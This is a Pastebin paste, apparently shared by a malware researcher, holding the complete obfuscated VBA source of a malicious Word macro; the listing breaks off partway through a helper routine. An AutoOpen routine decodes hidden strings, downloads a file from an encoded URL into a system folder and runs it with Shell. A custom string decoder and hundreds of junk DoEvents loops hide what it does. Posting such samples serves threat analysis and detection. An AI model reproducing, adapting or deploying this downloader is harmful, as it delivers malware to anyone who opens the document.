SHARE
TWEET

Malicious Word macro

dynamoo Feb 12th, 2015 25 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Attribute VB_Name = "ThisDocument"
  2. Attribute VB_Base = "1Normal.ThisDocument"
  3. Attribute VB_GlobalNameSpace = False
  4. Attribute VB_Creatable = False
  5. Attribute VB_PredeclaredId = True
  6. Attribute VB_Exposed = True
  7. Attribute VB_TemplateDerived = True
  8. Attribute VB_Customizable = True
  9. Private Const CZsQTgCL = "9twHI61Egq75d6y4f60ryu7CoS505hJpz6he46A06iIi270CyQy4Kr370uHfWjn0Z9nZt95DG78f85VzaS11qs020O1t0DJ830xe95hm95PF921plj5u1TP035Q5OdkSS"
  10. Private Const dgKyIcWY = "7BLAF4Cy98x5uU94RH6d84Vs6E30Z6cV72Pv696ItEK6306ze6h0l61b8qWvI2764ug20rL630nmG6fz48ghYH0b6qi6l6k06d49sS8qt72J6U690eyi69sJM6j6F06po6h54Ff4t7D458v8Hn6E3T6FA6P0E6To59v46N96mcmvzD"
  11. Private Const vNVBKqP8OU = "df72G1lUjWp421C3bkaxJPQ312uIr2cfwh81l6fXma8CGMTQ"
  12. Private Const T8IwcOa = "M3wW7uzU546813DRE48624HzZ75AVa467LGc44849yQ0z04N50AX8xuPw0Y7aj98862vr4d75B4VH6Og74N48xb7G056E8M2o32w8232eT78v40yN0pob"
  13. Private Const SWQD = "2SMY39x563z13930I9631a824386Wk438643Dehk1T64386w301w03p010C1978W43435160c43c43op4L"
  14. Private Const RNQtfr2IMTl = "YuUMF84CH24M9i39h69G3r9X6m9i0J72k469T8ca380X7s3f8S0j781vS8y1801nub9V8y5w0589fUb1093Zdv968ey18m19qN2R34Mu850G58T991Yn92t3y4to8vs100zK81p81DXjN1E8ra81u9We3158F5oI0583ZBf43dBY89103c7c26U8K019tq8A9D9o188tKO29w38H0R7858H6RRM93u15QLIc38077938VnS8N505aM89cd10Z3s7B26q81Nj8X197rOp20i81JJ81uaec"
  15. Private Const Z0Otah3a = "xxuXge5p22RN9K62HDB3l7xiT718LM2X6615DMJUa705k6AuFOZ7O30qG8g66Ul1R5SwHPKm6930z6B4S89md28Lnz98mcY441fp0Hm6Sq6rbS156h80IoC4jKaOhW918CcX63Le6k363QNL5u2kd2s976RH2wwk37uFG245abXyx7W3e086I3I6eNp368DKBf67HL497Mxf7i6U1MDX7n46Nas678FA6q3G63EOO6l23UWSR77m3KPPH08tSW7"
  16. Private Const ESJYR = "/Extract_Enc_Key/"
  17. Private Const kXo2E = "/ qFyLS/"
  18. Private Const goUdK = "0"
  19. Private Const NDD1Yg = "/ ZrXYlHQ/"
  20. Private Const T3OQl = "/Extract_Char_Size/"
  21. Private Const uXIF = ""
  22. Sub autoopen()
  23.  
  24. Dim IUHvdsfF, LJFdsfF
  25. Dim VUCmDbCN As Integer
  26. For VUCmDbCN = 0 To 5
  27. Dim fVhcyGXv As Integer
  28. For fVhcyGXv = 0 To 5
  29. DoEvents
  30. Next fVhcyGXv
  31. DoEvents
  32. Next VUCmDbCN
  33. Dim YHVJXnkn As Integer
  34. For YHVJXnkn = 0 To 1
  35. DoEvents
  36. Next YHVJXnkn
  37. Set IUHvdsfF = CreateObject(TbH(Z0Otah3a))
  38.  
  39. Dim KFdsfF, JFdsfF, KFfdF
  40. Dim agZCXblx As Integer
  41. For agZCXblx = 0 To 2
  42. Dim hPmrbCIQ As Integer
  43. For hPmrbCIQ = 0 To 8
  44. DoEvents
  45. Next hPmrbCIQ
  46. DoEvents
  47. Next agZCXblx
  48. Dim ruBSlPyq As Integer
  49. For ruBSlPyq = 0 To 6
  50. DoEvents
  51. Next ruBSlPyq
  52. Const FFdVDv = 2
  53. Dim eaGVZbKR As Integer
  54. For eaGVZbKR = 0 To 8
  55. Dim qhQJsIEI As Integer
  56. For qhQJsIEI = 0 To 4
  57. DoEvents
  58. Next qhQJsIEI
  59. DoEvents
  60. Next eaGVZbKR
  61. Dim xWNPcZmW As Integer
  62. For xWNPcZmW = 0 To 6
  63. DoEvents
  64. Next xWNPcZmW
  65. Set KFdsfF = IUHvdsfF.GetSpecialFolder(FFdVDv)
  66. Dim FGDiWFKB As Integer
  67. For FGDiWFKB = 0 To 3
  68. Dim pwsHTAra As Integer
  69. For pwsHTAra = 0 To 1
  70. DoEvents
  71. Next pwsHTAra
  72. DoEvents
  73. Next FGDiWFKB
  74. Dim PwONmykB As Integer
  75. For PwONmykB = 0 To 5
  76. DoEvents
  77. Next PwONmykB
  78. IJGgfghF = TbH(RNQtfr2IMTl)
  79.  
  80. Dim KddqiDJh As Integer
  81. For KddqiDJh = 0 To 1
  82. Dim bEbDYBqN As Integer
  83. For bEbDYBqN = 0 To 1
  84. DoEvents
  85. Next bEbDYBqN
  86. DoEvents
  87. Next KddqiDJh
  88. Dim qkbKiBmV As Integer
  89. For qkbKiBmV = 0 To 7
  90. DoEvents
  91. Next qkbKiBmV
  92. lJHFFdF = KFdsfF & TbH(SWQD)
  93.  
  94.  
  95. Dim wWjLvJEk As Integer
  96. For wWjLvJEk = 0 To 3
  97. Dim AwpNKlJP As Integer
  98. For AwpNKlJP = 0 To 7
  99. DoEvents
  100. Next AwpNKlJP
  101. DoEvents
  102. Next wWjLvJEk
  103. Dim yVDSjCiO As Integer
  104. For yVDSjCiO = 0 To 3
  105. DoEvents
  106. Next yVDSjCiO
  107. Set oJBFFd = CreateObject(TbH(T8IwcOa))
  108.  
  109.  
  110. oJBFFd.Open TbH(vNVBKqP8OU), IJGgfghF, False
  111. Dim ZiITycBd As Integer
  112. For ZiITycBd = 0 To 1
  113. Dim VmleXEaM As Integer
  114. For VmleXEaM = 0 To 4
  115. DoEvents
  116. Next VmleXEaM
  117. DoEvents
  118. Next ZiITycBd
  119. Dim igmVsEfl As Integer
  120. For igmVsEfl = 0 To 4
  121. DoEvents
  122. Next igmVsEfl
  123. oJBFFd.send
  124. Dim eeZNRBEC As Integer
  125. For eeZNRBEC = 0 To 3
  126. Dim eJLoSban As Integer
  127. For eJLoSban = 0 To 8
  128. DoEvents
  129. Next eJLoSban
  130. DoEvents
  131. Next eeZNRBEC
  132. Dim sJwCpLFI As Integer
  133. For sJwCpLFI = 0 To 1
  134. DoEvents
  135. Next sJwCpLFI
  136.  
  137. Dim dCRJpKWa As Integer
  138. For dCRJpKWa = 0 To 8
  139. Dim bjoaVbaR As Integer
  140. For bjoaVbaR = 0 To 7
  141. DoEvents
  142. Next bjoaVbaR
  143. DoEvents
  144. Next dCRJpKWa
  145. Dim vwPLNOYq As Integer
  146. For vwPLNOYq = 0 To 9
  147. DoEvents
  148. Next vwPLNOYq
  149. Set objIUHvdsfF = CreateObject(TbH(dgKyIcWY))
  150. If objIUHvdsfF.FileExists(lJHFFdF) Then
  151. Dim OjlFOAlr As Integer
  152. For OjlFOAlr = 0 To 5
  153. Dim pyzZKmTL As Integer
  154. For pyzZKmTL = 0 To 6
  155. DoEvents
  156. Next pyzZKmTL
  157. DoEvents
  158. Next OjlFOAlr
  159. Dim jllqLbew As Integer
  160. For jllqLbew = 0 To 5
  161. DoEvents
  162. Next jllqLbew
  163.   objIUHvdsfF.DeleteFile (lJHFFdF)
  164. End If
  165.  
  166. If oJBFFd.Status = 200 Then
  167.   Dim JHuihF
  168. Dim RJtHHjno As Integer
  169. For RJtHHjno = 0 To 8
  170. Dim WPtBMmjn As Integer
  171. For WPtBMmjn = 0 To 2
  172. DoEvents
  173. Next WPtBMmjn
  174. DoEvents
  175. Next RJtHHjno
  176. Dim KrxQvhUZ As Integer
  177. For KrxQvhUZ = 0 To 6
  178. DoEvents
  179. Next KrxQvhUZ
  180.   Set JHuihF = CreateObject(TbH(CZsQTgCL))
  181. Dim AgaphzOP As Integer
  182. For AgaphzOP = 0 To 4
  183. Dim UhKaJgvO As Integer
  184. For UhKaJgvO = 0 To 1
  185. DoEvents
  186. Next UhKaJgvO
  187. DoEvents
  188. Next AgaphzOP
  189. Dim VjQRRDKd As Integer
  190. For VjQRRDKd = 0 To 4
  191. DoEvents
  192. Next VjQRRDKd
  193.   With JHuihF
  194. Dim QoeaWXNF As Integer
  195. For QoeaWXNF = 0 To 2
  196. Dim QKMXzLyR As Integer
  197. For QKMXzLyR = 0 To 3
  198. DoEvents
  199. Next QKMXzLyR
  200. DoEvents
  201. Next QoeaWXNF
  202. Dim mHzlezVM As Integer
  203. For mHzlezVM = 0 To 2
  204. DoEvents
  205. Next mHzlezVM
  206.     .Type = 1
  207. Dim YUXZXrMu As Integer
  208. For YUXZXrMu = 0 To 5
  209. Dim yUEStlUM As Integer
  210. For yUEStlUM = 0 To 3
  211. DoEvents
  212. Next yUEStlUM
  213. DoEvents
  214. Next YUXZXrMu
  215. Dim XGwfugHD As Integer
  216. For XGwfugHD = 0 To 1
  217. DoEvents
  218. Next XGwfugHD
  219.     .Open
  220. Dim ZyHeCsFb As Integer
  221. For ZyHeCsFb = 0 To 1
  222. Dim Ilfaiblk As Integer
  223. For Ilfaiblk = 0 To 5
  224. DoEvents
  225. Next Ilfaiblk
  226. DoEvents
  227. Next ZyHeCsFb
  228. Dim OhTTvspz As Integer
  229. For OhTTvspz = 0 To 5
  230. DoEvents
  231. Next OhTTvspz
  232.     .Write oJBFFd.responseBody
  233. Dim TDwZvPqR As Integer
  234. For TDwZvPqR = 0 To 4
  235. Dim ECYTlGEb As Integer
  236. For ECYTlGEb = 0 To 7
  237. DoEvents
  238. Next ECYTlGEb
  239. DoEvents
  240. Next TDwZvPqR
  241. Dim QtxmsnAk As Integer
  242. For QtxmsnAk = 0 To 9
  243. DoEvents
  244. Next QtxmsnAk
  245.     .SaveToFile lJHFFdF
  246. Dim AsgrnKtX As Integer
  247. For AsgrnKtX = 0 To 9
  248. Dim LoELsdtk As Integer
  249. For LoELsdtk = 0 To 7
  250. DoEvents
  251. Next LoELsdtk
  252. DoEvents
  253. Next AsgrnKtX
  254. Dim dFEAfuEE As Integer
  255. For dFEAfuEE = 0 To 1
  256. DoEvents
  257. Next dFEAfuEE
  258.     .Close
  259. Dim GUccFPvz As Integer
  260. For GUccFPvz = 0 To 4
  261. Dim kqeRxARK As Integer
  262. For kqeRxARK = 0 To 8
  263. DoEvents
  264. Next kqeRxARK
  265. DoEvents
  266. Next GUccFPvz
  267. Dim EXMdzezl As Integer
  268. For EXMdzezl = 0 To 1
  269. DoEvents
  270. Next EXMdzezl
  271.   End With
  272. Dim QtlJgxYE As Integer
  273. For QtlJgxYE = 0 To 9
  274. Dim mKUgaFKz As Integer
  275. For mKUgaFKz = 0 To 9
  276. DoEvents
  277. Next mKUgaFKz
  278. DoEvents
  279. Next QtlJgxYE
  280. Dim ngqyVYdy As Integer
  281. For ngqyVYdy = 0 To 1
  282. DoEvents
  283. Next ngqyVYdy
  284.   Set JHuihF = Nothing
  285. End If
  286.  
  287. If objIUHvdsfF.FileExists(lJHFFdF) Then
  288.  
  289. End If
  290. Dim AHSoVoXN As Integer
  291. For AHSoVoXN = 0 To 7
  292. Dim SvCaNgWr As Integer
  293. For SvCaNgWr = 0 To 1
  294. DoEvents
  295. Next SvCaNgWr
  296. DoEvents
  297. Next AHSoVoXN
  298. Dim QIrbMQwp As Integer
  299. For QIrbMQwp = 0 To 5
  300. DoEvents
  301. Next QIrbMQwp
  302. Shell lJHFFdF
  303. End Sub
  304.  
  305. Function TbH(InputStringToBeDecrypted As String) As String
  306.  
  307.  
  308. Dim strText As String
  309. Dim strDecryptedText As String
  310. Dim strKeyNum As String
  311. Dim strChar1 As String
  312. Dim strChar2 As String
  313. Dim nLenght As Integer
  314. Dim nKeyNum As Integer
  315. On Error GoTo ErrorHandler
  316. Dim AKbfTTIO As Integer
  317. For AKbfTTIO = 0 To 7
  318. Dim vsHLaObz As Integer
  319. For vsHLaObz = 0 To 3
  320. DoEvents
  321. Next vsHLaObz
  322. DoEvents
  323. Next AKbfTTIO
  324. Dim aLClLWxh As Integer
  325. For aLClLWxh = 0 To 8
  326. DoEvents
  327. Next aLClLWxh
  328. strTempText = InputStringToBeDecrypted
  329. Dim eOFyBYqj As Integer
  330. For eOFyBYqj = 0 To 8
  331. Dim MQyQdObt As Integer
  332. For MQyQdObt = 0 To 1
  333. DoEvents
  334. Next MQyQdObt
  335. DoEvents
  336. Next eOFyBYqj
  337. Dim CxlSGrzs As Integer
  338. For CxlSGrzs = 0 To 2
  339. DoEvents
  340. Next CxlSGrzs
  341. strText = strTempText
  342. Dim LWfumXvM As Integer
  343. For LWfumXvM = 0 To 1
  344. Dim NezucISK As Integer
  345. For NezucISK = 0 To 8
  346. DoEvents
  347. Next NezucISK
  348. DoEvents
  349. Next LWfumXvM
  350. Dim ghtRfDJm As Integer
  351. For ghtRfDJm = 0 To 1
  352. DoEvents
  353. Next ghtRfDJm
  354. strDecryptedText = ""
  355. Dim RTURifQw As Integer
  356. For RTURifQw = 0 To 4
  357. Dim TlMxNbPE As Integer
  358. For TlMxNbPE = 0 To 1
  359. DoEvents
  360. Next TlMxNbPE
  361. DoEvents
  362. Next RTURifQw
  363. Dim fmUbLMck As Integer
  364. For fmUbLMck = 0 To 7
  365. DoEvents
  366. Next fmUbLMck
  367. strText = Left(strText, Len(strText) - 4)
  368. Dim ckjNSuho As Integer
  369. For ckjNSuho = 0 To 6
  370. Dim fwEFDBrM As Integer
  371. For fwEFDBrM = 0 To 3
  372. DoEvents
  373. Next fwEFDBrM
  374. DoEvents
  375. Next ckjNSuho
  376. Dim EFSxhFfx As Integer
  377. For EFSxhFfx = 0 To 2
  378. DoEvents
  379. Next EFSxhFfx
  380. strText = Right(strText, Len(strText) - 4)
  381. Dim GliUhWvo As Integer
  382. For GliUhWvo = 0 To 6
  383. Dim XUlMHYYK As Integer
  384. For XUlMHYYK = 0 To 1
  385. DoEvents
  386. Next XUlMHYYK
  387. DoEvents
  388. Next GliUhWvo
  389. Dim oyoHumrB As Integer
  390. For oyoHumrB = 0 To 4
  391. DoEvents
  392. Next oyoHumrB
  393. nCharSize = 0
  394. Dim IuQlCTnE As Integer
  395. For IuQlCTnE = 0 To 1
  396. Dim wQxDemJR As Integer
  397. For wQxDemJR = 0 To 3
  398. DoEvents
  399. Next wQxDemJR
  400. DoEvents
  401. Next IuQlCTnE
  402. Dim sPqgXxGA As Integer
  403. For sPqgXxGA = 0 To 1
  404. DoEvents
  405. Next sPqgXxGA
  406. Call Extract_Char_Size(strText, nCharSize)
  407. Dim dEShtyug As Integer
  408. For dEShtyug = 0 To 1
  409. Dim pVNhJGlI As Integer
  410. For pVNhJGlI = 0 To 6
  411. DoEvents
  412. Next pVNhJGlI
  413. DoEvents
  414. Next dEShtyug
  415. Dim IiRMLhpl As Integer
  416. For IiRMLhpl = 0 To 8
  417. DoEvents
  418. Next IiRMLhpl
  419. Call Extract_Enc_Key(strText, nCharSize, nEncKey)
  420. Dim HzHIhYtK As Integer
  421. For HzHIhYtK = 0 To 3
  422. Dim MVPNsuJX As Integer
  423. For MVPNsuJX = 0 To 7
  424. DoEvents
  425. Next MVPNsuJX
  426. DoEvents
  427. Next HzHIhYtK
  428. Dim qBEUDjeW As Integer
  429. For qBEUDjeW = 0 To 1
  430. DoEvents
  431. Next qBEUDjeW
  432. nTextLenght = Len(strText)
  433. For nCounter = 1 To Len(strText) Step nCharSize
  434. Dim kLeTmDEL As Integer
  435. For kLeTmDEL = 0 To 8
  436. Dim ztbNiYTM As Integer
  437. For ztbNiYTM = 0 To 8
  438. DoEvents
  439. Next ztbNiYTM
  440. DoEvents
  441. Next kLeTmDEL
  442. Dim NibYlTUL As Integer
  443. For NibYlTUL = 0 To 8
  444. DoEvents
  445. Next NibYlTUL
  446. strChar1 = Mid(strText, nCounter, nCharSize)
  447. Dim sYOinzMx As Integer
  448. For sYOinzMx = 0 To 7
  449. Dim pyrhNORR As Integer
  450. For pyrhNORR = 0 To 6
  451. DoEvents
  452. Next pyrhNORR
  453. DoEvents
  454. Next sYOinzMx
  455. Dim mHBSjrxM As Integer
  456. For mHBSjrxM = 0 To 6
  457. DoEvents
  458. Next mHBSjrxM
  459. nChar = qFyLS(strChar1)
  460. Dim DwePJqBc As Integer
  461. For DwePJqBc = 0 To 9
  462. Dim NMpHzBAr As Integer
  463. For NMpHzBAr = 0 To 4
  464. DoEvents
  465. Next NMpHzBAr
  466. DoEvents
  467. Next DwePJqBc
  468. Dim rwgxlbZc As Integer
  469. For rwgxlbZc = 0 To 9
  470. DoEvents
  471. Next rwgxlbZc
  472. nChar2 = nChar / nEncKey
  473. Dim oBaMtCpv As Integer
  474. For oBaMtCpv = 0 To 7
  475. Dim ZTWajmwu As Integer
  476. For ZTWajmwu = 0 To 7
  477. DoEvents
  478. Next ZTWajmwu
  479. DoEvents
  480. Next oBaMtCpv
  481. Dim LEdkgUqz As Integer
  482. For LEdkgUqz = 0 To 3
  483. DoEvents
  484. Next LEdkgUqz
  485. strChar2 = Chr(nChar2)
  486. Dim tlfLaEzF As Integer
  487. For tlfLaEzF = 0 To 3
  488. Dim qnbxIQcX As Integer
  489. For qnbxIQcX = 0 To 1
  490. DoEvents
  491. Next qnbxIQcX
  492. DoEvents
  493. Next tlfLaEzF
  494. Dim KDlVnSTL As Integer
  495. For KDlVnSTL = 0 To 4
  496. DoEvents
  497. Next KDlVnSTL
  498. strDecryptedText = strDecryptedText + strChar2
  499. Next nCounter
  500. Dim vqNNZiLE As Integer
  501. For vqNNZiLE = 0 To 6
  502. Dim lKtIGFNd As Integer
  503. For lKtIGFNd = 0 To 2
  504. DoEvents
  505. Next lKtIGFNd
  506. DoEvents
  507. Next vqNNZiLE
  508. Dim GsWxDaSb As Integer
  509. For GsWxDaSb = 0 To 6
  510. DoEvents
  511. Next GsWxDaSb
  512. strDecryptedText = Trim(strDecryptedText)
  513. Dim NajPmSPm As Integer
  514. For NajPmSPm = 0 To 8
  515. Dim Bzwyqsvf As Integer
  516. For Bzwyqsvf = 0 To 2
  517. DoEvents
  518. Next Bzwyqsvf
  519. DoEvents
  520. Next NajPmSPm
  521. Dim wmsMovqn As Integer
  522. For wmsMovqn = 0 To 8
  523. DoEvents
  524. Next wmsMovqn
  525.  TbH = strDecryptedText
  526. Dim itbzNswU As Integer
  527. For itbzNswU = 0 To 4
  528. Dim LDeUtiaQ As Integer
  529. For LDeUtiaQ = 0 To 7
  530. DoEvents
  531. Next LDeUtiaQ
  532. DoEvents
  533. Next itbzNswU
  534. Dim ljyfCmMk As Integer
  535. For ljyfCmMk = 0 To 9
  536. DoEvents
  537. Next ljyfCmMk
  538. Exit Function
  539. Dim Vqvpgopn As Integer
  540. For Vqvpgopn = 0 To 8
  541. Dim YWcBEdzQ As Integer
  542. For YWcBEdzQ = 0 To 4
  543. DoEvents
  544. Next YWcBEdzQ
  545. DoEvents
  546. Next Vqvpgopn
  547. Dim XzKmvtMB As Integer
  548. For XzKmvtMB = 0 To 2
  549. DoEvents
  550. Next XzKmvtMB
  551. ErrorHandler:
  552. End Function
  553.  
  554.  
  555. Sub Extract_Char_Size(ByRef strText, ByRef nCharSize)
  556. Dim wIDvXQuX As Integer
  557. For wIDvXQuX = 0 To 4
  558. Dim hXduEVWy As Integer
  559. For hXduEVWy = 0 To 2
  560. DoEvents
  561. Next hXduEVWy
  562. DoEvents
  563. Next wIDvXQuX
  564. Dim EjmRZXpR As Integer
  565. For EjmRZXpR = 0 To 4
  566. DoEvents
  567. Next EjmRZXpR
  568. DecryptParts = DecryptParts & T3OQl
  569. Dim MKmXvluK As Integer
  570. For MKmXvluK = 0 To 7
  571. Dim grcnnWQQ As Integer
  572. For grcnnWQQ = 0 To 5
  573. DoEvents
  574. Next grcnnWQQ
  575. DoEvents
  576. Next MKmXvluK
  577. Dim hKOowcpL As Integer
  578. For hKOowcpL = 0 To 5
  579. DoEvents
  580. Next hKOowcpL
  581. nLeft = Len(strText) \ 2
  582. Dim ArjhLEna As Integer
  583. For ArjhLEna = 0 To 9
  584. Dim lcmmZYiO As Integer
  585. For lcmmZYiO = 0 To 2
  586. DoEvents
  587. Next lcmmZYiO
  588. DoEvents
  589. Next ArjhLEna
  590. Dim AiHUvVPq As Integer
  591. For AiHUvVPq = 0 To 4
  592. DoEvents
  593. Next AiHUvVPq
  594. strLeft = Left(strText, nLeft)
  595. Dim BfVDwsAC As Integer
  596. For BfVDwsAC = 0 To 5
  597. Dim LtrUrjtO As Integer
  598. For LtrUrjtO = 0 To 3
  599. DoEvents
  600. Next LtrUrjtO
  601. DoEvents
  602. Next BfVDwsAC
  603. Dim GvvFQdSZ As Integer
  604. For GvvFQdSZ = 0 To 3
  605. DoEvents
  606. Next GvvFQdSZ
  607. nRight = Len(strText) - nLeft
  608. Dim HhfnieNZ As Integer
  609. For HhfnieNZ = 0 To 9
  610. Dim ELupfgUG As Integer
  611. For ELupfgUG = 0 To 2
  612. DoEvents
  613. Next ELupfgUG
  614. DoEvents
  615. Next HhfnieNZ
  616. Dim lyjaYIsW As Integer
  617. For lyjaYIsW = 0 To 9
  618. DoEvents
  619. Next lyjaYIsW
  620. strRight = Right(strText, nRight)
  621. Dim YwdIxNFw As Integer
  622. For YwdIxNFw = 0 To 2
  623. Dim MtHyRVOx As Integer
  624. For MtHyRVOx = 0 To 1
  625. DoEvents
  626. Next MtHyRVOx
  627. DoEvents
  628. Next YwdIxNFw
  629. Dim iwbybRHz As Integer
  630. For iwbybRHz = 0 To 7
  631. DoEvents
  632. Next iwbybRHz
  633. strKeyEnc = Right(strLeft, 2)
  634. Dim GbmBabnU As Integer
  635. For GbmBabnU = 0 To 9
  636. Dim rMlYmZHk As Integer
  637. For rMlYmZHk = 0 To 4
  638. DoEvents
  639. Next rMlYmZHk
  640. DoEvents
  641. Next GbmBabnU
  642. Dim LDeFcLbm As Integer
  643. For LDeFcLbm = 0 To 7
  644. DoEvents
  645. Next LDeFcLbm
  646. strKeySize = Left(strRight, 2)
  647. Dim wSfACtTY As Integer
  648. For wSfACtTY = 0 To 3
  649. Dim YhNqwsYl As Integer
  650. For YhNqwsYl = 0 To 1
  651. DoEvents
  652. Next YhNqwsYl
  653. DoEvents
  654. Next wSfACtTY
  655. Dim hyaFFCNZ As Integer
  656. For hyaFFCNZ = 0 To 5
  657. DoEvents
  658. Next hyaFFCNZ
  659. strKeyEnc = ZrXYlHQ(strKeyEnc)
  660. Dim yTMoUqFO As Integer
  661. For yTMoUqFO = 0 To 3
  662. Dim IzjOYRAY As Integer
  663. For IzjOYRAY = 0 To 5
  664. DoEvents
  665. Next IzjOYRAY
  666. DoEvents
  667. Next yTMoUqFO
  668. Dim BgVUyzml As Integer
  669. For BgVUyzml = 0 To 8
  670. DoEvents
  671. Next BgVUyzml
  672. strKeySize = ZrXYlHQ(strKeySize)
  673. Dim QLPLrsRv As Integer
  674. For QLPLrsRv = 0 To 5
  675. Dim BpcmieNY As Integer
  676. For BpcmieNY = 0 To 2
  677. DoEvents
  678. Next BpcmieNY
  679. DoEvents
  680. Next QLPLrsRv
  681. Dim SODgrbaZ As Integer
  682. For SODgrbaZ = 0 To 2
  683. DoEvents
  684. Next SODgrbaZ
  685. nKeyEnc = Val(strKeyEnc)
  686. Dim xbEafUmC As Integer
  687. For xbEafUmC = 0 To 6
  688. Dim qbTFxKIZ As Integer
  689. For qbTFxKIZ = 0 To 1
  690. DoEvents
  691. Next qbTFxKIZ
  692. DoEvents
  693. Next xbEafUmC
  694. Dim aPoYgifd As Integer
  695. For aPoYgifd = 0 To 6
  696. DoEvents
  697. Next aPoYgifd
  698. nKeySize = Val(strKeySize)
  699. Dim eSxEpdbX As Integer
  700. For eSxEpdbX = 0 To 8
  701. Dim ZxNNvYDV As Integer
  702. For ZxNNvYDV = 0 To 7
  703. DoEvents
  704. Next ZxNNvYDV
  705. DoEvents
  706. Next eSxEpdbX
  707. Dim EcUBKAKj As Integer
  708. For EcUBKAKj = 0 To 7
  709. DoEvents
  710. Next EcUBKAKj
  711. nCharSize = nKeySize - nKeyEnc
  712. Dim ZKcvImvG As Integer
  713. For ZKcvImvG = 0 To 7
  714. Dim bHyCXxHk As Integer
  715. For bHyCXxHk = 0 To 3
  716. DoEvents
  717. Next bHyCXxHk
  718. DoEvents
  719. Next ZKcvImvG
  720. Dim jWttiGUo As Integer
  721. For jWttiGUo = 0 To 2
  722. DoEvents
  723. Next jWttiGUo
  724. strText = Left(strLeft, Len(strLeft) - 2) + Right(strRight, Len(strRight) - 2)
  725. End Sub
  726.  
  727. Function ZrXYlHQ(ByVal cString As String) As String
  728. Dim RUkyCKzj As Integer
  729. For RUkyCKzj = 0 To 1
  730. Dim iEIHSKzl As Integer
  731. For iEIHSKzl = 0 To 7
  732. DoEvents
  733. Next iEIHSKzl
  734. DoEvents
  735. Next RUkyCKzj
  736. Dim klfopGfA As Integer
  737. For klfopGfA = 0 To 9
  738. DoEvents
  739. Next klfopGfA
  740. DecryptParts = DecryptParts & NDD1Yg
  741. For nCounter = 1 To Len(cString)
  742. Dim cbAlYboS As Integer
  743. For cbAlYboS = 0 To 9
  744. Dim KATxZkOB As Integer
  745. For KATxZkOB = 0 To 6
  746. DoEvents
  747. Next KATxZkOB
  748. DoEvents
  749. Next cbAlYboS
  750. Dim SyiVxiKR As Integer
  751. For SyiVxiKR = 0 To 5
  752. DoEvents
  753. Next SyiVxiKR
  754. strChar1 = Mid(cString, nCounter, 1)
  755. If IsNumeric(strChar1) Then
  756. Dim yyFoTlBH As Integer
  757. For yyFoTlBH = 0 To 3
  758. Dim AVJylgIR As Integer
  759. For AVJylgIR = 0 To 4
  760. DoEvents
  761. Next AVJylgIR
  762. DoEvents
  763. Next yyFoTlBH
  764. Dim dQMzlKyS As Integer
  765. For dQMzlKyS = 0 To 1
  766. DoEvents
  767. Next dQMzlKyS
  768. strTempString = strTempString + strChar1
  769. Else
  770. Dim YzYQADkh As Integer
  771. For YzYQADkh = 0 To 8
  772. Dim tZflCbdh As Integer
  773. For tZflCbdh = 0 To 6
  774. DoEvents
  775. Next tZflCbdh
  776. DoEvents
  777. Next YzYQADkh
  778. Dim fSIhKPWm As Integer
  779. For fSIhKPWm = 0 To 1
  780. DoEvents
  781. Next fSIhKPWm
  782. strTempString = strTempString + goUdK
  783. End If
  784. Next nCounter
  785. Dim LTNlwWYg As Integer
  786. For LTNlwWYg = 0 To 7
  787. Dim cEXycOvu As Integer
  788. For cEXycOvu = 0 To 6
  789. DoEvents
  790. Next cEXycOvu
  791. DoEvents
  792. Next LTNlwWYg
  793. Dim HEHCZPTp As Integer
  794. For HEHCZPTp = 0 To 3
  795. DoEvents
  796. Next HEHCZPTp
  797.  ZrXYlHQ = strTempString
  798. End Function
  799.  
  800. Function qFyLS(strTempText As String) As Integer
  801. Dim gaHJlKfW As Integer
  802. For gaHJlKfW = 0 To 1
  803. Dim AkRdMaRv As Integer
  804. For AkRdMaRv = 0 To 7
  805. DoEvents
  806. Next AkRdMaRv
  807. DoEvents
  808. Next gaHJlKfW
  809. Dim edAEZdlS As Integer
  810. For edAEZdlS = 0 To 3
  811. DoEvents
  812. Next edAEZdlS
  813. DecryptParts = DecryptParts & kXo2E
  814. Dim BHSrbKuQ As Integer
  815. For BHSrbKuQ = 0 To 4
  816. Dim ajfwDhzy As Integer
  817. For ajfwDhzy = 0 To 8
  818. DoEvents
  819. Next ajfwDhzy
  820. DoEvents
  821. Next BHSrbKuQ
  822. Dim DEslfwGO As Integer
  823. For DEslfwGO = 0 To 6
  824. DoEvents
  825. Next DEslfwGO
  826. strTempText = Trim(strTempText)
  827. For nCounter = 1 To Len(strTempText)
  828. Dim pTqpwpDM As Integer
  829. For pTqpwpDM = 0 To 6
  830. Dim mYtSjCuH As Integer
  831. For mYtSjCuH = 0 To 2
  832. DoEvents
  833. Next mYtSjCuH
  834. DoEvents
  835. Next pTqpwpDM
  836. Dim MWzZMqbl As Integer
  837. For MWzZMqbl = 0 To 7
  838. DoEvents
  839. Next MWzZMqbl
  840. strChar1 = Mid(strTempText, nCounter, 1)
  841. If IsNumeric(strChar1) Then
  842. Dim TeTONmfa As Integer
  843. For TeTONmfa = 0 To 1
  844. Dim tIOJvdVt As Integer
  845. For tIOJvdVt = 0 To 6
  846. DoEvents
  847. Next tIOJvdVt
  848. DoEvents
  849. Next TeTONmfa
  850. Dim WFUecjIk As Integer
  851. For WFUecjIk = 0 To 7
  852. DoEvents
  853. Next WFUecjIk
  854. strText = strText + strChar1
  855. End If
  856. Next nCounter
  857. Dim zUqJIzZm As Integer
  858. For zUqJIzZm = 0 To 6
  859. Dim rlIQlJlb As Integer
  860. For rlIQlJlb = 0 To 3
  861. DoEvents
  862. Next rlIQlJlb
  863. DoEvents
  864. Next zUqJIzZm
  865. Dim DcBWfDHn As Integer
  866. For DcBWfDHn = 0 To 7
  867. DoEvents
  868. Next DcBWfDHn
  869. nResult = Val(strText)
  870. Dim qYGcYRnD As Integer
  871. For qYGcYRnD = 0 To 4
  872. Dim TgldMBLt As Integer
  873. For TgldMBLt = 0 To 4
  874. DoEvents
  875. Next TgldMBLt
  876. DoEvents
  877. Next qYGcYRnD
  878. Dim ZUPBvLpu As Integer
  879. For ZUPBvLpu = 0 To 1
  880. DoEvents
  881. Next ZUPBvLpu
  882.  qFyLS = nResult
  883. End Function
  884.  
  885. Sub Extract_Enc_Key(ByRef strText, ByVal nCharSize, ByRef nEncKey)
  886. Dim MEBLARba As Integer
  887. For MEBLARba = 0 To 1
  888. Dim HIdbmJqm As Integer
  889. For HIdbmJqm = 0 To 6
  890. DoEvents
  891. Next HIdbmJqm
  892. DoEvents
  893. Next MEBLARba
  894. Dim feIjYMGv As Integer
  895. For feIjYMGv = 0 To 1
  896. DoEvents
  897. Next feIjYMGv
  898. DecryptParts = DecryptParts & ESJYR
  899. Dim eZEbnycl As Integer
